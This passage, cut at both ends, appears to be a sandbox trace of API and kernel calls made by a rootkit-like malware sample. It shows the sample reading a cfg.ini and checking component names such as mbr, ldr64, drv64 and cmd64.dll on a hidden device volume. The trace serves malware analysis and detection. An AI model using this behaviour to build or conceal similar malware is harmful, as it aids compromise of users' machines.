NumberOfBytes=0x50) returned 0xfffffa8003bea8b0 [0123.258] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.259] KeLeaveCriticalRegion () [0123.259] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.259] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.259] KeEnterCriticalRegion () [0123.259] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.259] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.259] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.259] KeLeaveCriticalRegion () [0123.259] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.259] KeEnterCriticalRegion () [0123.259] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.259] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.259] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.259] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.259] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.259] IdePortDispatch () returned 0x103 [0123.259] KeWaitForMutexObject () returned 0x0 [0123.259] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.259] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.259] KeLeaveCriticalRegion () [0123.259] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.259] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.259] KeEnterCriticalRegion () [0123.259] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.260] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002dfe000 [0123.260] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.260] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.260] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.260] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.260] IdePortDispatch () returned 0x103 [0123.260] KeWaitForMutexObject () returned 0x0 [0123.260] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.260] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.260] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.260] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.260] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.260] IdePortDispatch () returned 0x103 [0123.260] KeWaitForMutexObject () returned 0x0 [0123.260] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.260] KeLeaveCriticalRegion () [0123.260] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.261] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.261] KeEnterCriticalRegion () [0123.261] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.261] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.261] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.261] KeLeaveCriticalRegion () [0123.261] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.261] KeEnterCriticalRegion () [0123.261] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.261] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.261] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bea200, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.261] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.261] KeLeaveCriticalRegion () [0123.261] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.261] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.261] KeEnterCriticalRegion () [0123.261] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.261] ExFreePoolWithTag (P=0xfffffa8003bea8b0, Tag=0x0) [0123.261] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.261] KeLeaveCriticalRegion () [0123.261] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.261] ReleaseMutex (hMutex=0xf0) returned 1 [0123.261] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.261] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0123.261] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.261] KeEnterCriticalRegion () [0123.261] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.261] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.261] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.261] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.261] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.261] IdePortDispatch () returned 0x103 [0123.262] KeWaitForMutexObject () returned 0x0 [0123.262] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.262] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.262] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.262] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.262] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.262] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bea340 [0123.262] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.262] KeLeaveCriticalRegion () [0123.262] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.262] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.262] KeEnterCriticalRegion () [0123.262] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.262] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.262] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.262] KeLeaveCriticalRegion () [0123.262] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.262] KeEnterCriticalRegion () [0123.262] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.262] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.262] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.262] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.262] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.262] IdePortDispatch () returned 0x103 [0123.262] KeWaitForMutexObject () returned 0x0 [0123.262] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.262] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.262] KeLeaveCriticalRegion () [0123.262] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.262] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.263] KeEnterCriticalRegion () [0123.263] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.263] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002dff000 [0123.263] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.263] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.263] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.263] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.263] IdePortDispatch () returned 0x103 [0123.263] KeWaitForMutexObject () returned 0x0 [0123.263] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.263] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.263] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.263] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.263] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.263] IdePortDispatch () returned 0x103 [0123.263] KeWaitForMutexObject () returned 0x0 [0123.263] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.263] KeLeaveCriticalRegion () [0123.263] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.264] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.264] KeEnterCriticalRegion () [0123.264] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.264] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.264] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.264] KeLeaveCriticalRegion () [0123.264] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.264] KeEnterCriticalRegion () [0123.264] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.264] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.264] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beaa60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.264] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.264] KeLeaveCriticalRegion () [0123.264] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.264] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.264] KeEnterCriticalRegion () [0123.264] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.264] ExFreePoolWithTag (P=0xfffffa8003bea340, Tag=0x0) [0123.264] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.264] KeLeaveCriticalRegion () [0123.264] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.264] ReleaseMutex (hMutex=0xf0) returned 1 [0123.264] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0123.264] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0123.264] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0123.264] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.264] KeEnterCriticalRegion () [0123.264] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.264] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.264] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.264] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.264] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.264] IdePortDispatch () returned 0x103 [0123.264] KeWaitForMutexObject () returned 0x0 [0123.265] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.265] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.265] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.265] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.265] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.265] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.265] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.265] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.265] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.265] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.265] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.265] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.265] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.265] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.265] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.265] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.265] KeLeaveCriticalRegion () [0123.265] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.265] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0123.265] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.265] KeEnterCriticalRegion () [0123.265] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.265] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.265] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.265] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.265] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.265] IdePortDispatch () returned 0x103 [0123.265] KeWaitForMutexObject () returned 0x0 [0123.265] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.265] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.265] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.265] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.265] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.265] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.265] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.265] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.265] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.265] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.265] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.265] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.266] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.266] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.266] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.266] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.266] KeLeaveCriticalRegion () [0123.266] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.266] ReleaseMutex (hMutex=0x100) returned 1 [0123.266] Sleep (dwMilliseconds=0x2bf20) [0123.277] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6cabc910, dwHighDateTime=0x1d24fa4)) [0123.277] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0123.277] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.277] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.277] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.277] KeEnterCriticalRegion () [0123.277] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.277] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.277] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.277] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.277] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.277] IdePortDispatch () returned 0x103 [0123.278] KeWaitForMutexObject () returned 0x0 [0123.278] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.278] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.278] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.278] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.278] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.278] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bebfb0 [0123.278] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.278] KeLeaveCriticalRegion () [0123.278] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.278] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.278] KeEnterCriticalRegion () [0123.278] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.278] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.278] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.278] KeLeaveCriticalRegion () [0123.278] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.278] KeEnterCriticalRegion () [0123.278] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.278] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.278] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.278] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.278] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.278] IdePortDispatch () returned 0x103 [0123.278] KeWaitForMutexObject () returned 0x0 [0123.278] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.278] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.278] KeLeaveCriticalRegion () [0123.278] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.279] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.279] KeEnterCriticalRegion () [0123.279] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.279] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003402000 [0123.279] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.279] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.279] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.279] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.279] IdePortDispatch () returned 0x103 [0123.279] KeWaitForMutexObject () returned 0x0 [0123.279] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.279] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.279] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.279] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.279] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.279] IdePortDispatch () returned 0x103 [0123.279] KeWaitForMutexObject () returned 0x0 [0123.279] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.279] KeLeaveCriticalRegion () [0123.279] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.280] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.280] KeEnterCriticalRegion () [0123.280] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.280] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.280] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.280] KeLeaveCriticalRegion () [0123.280] _snprintf (in: 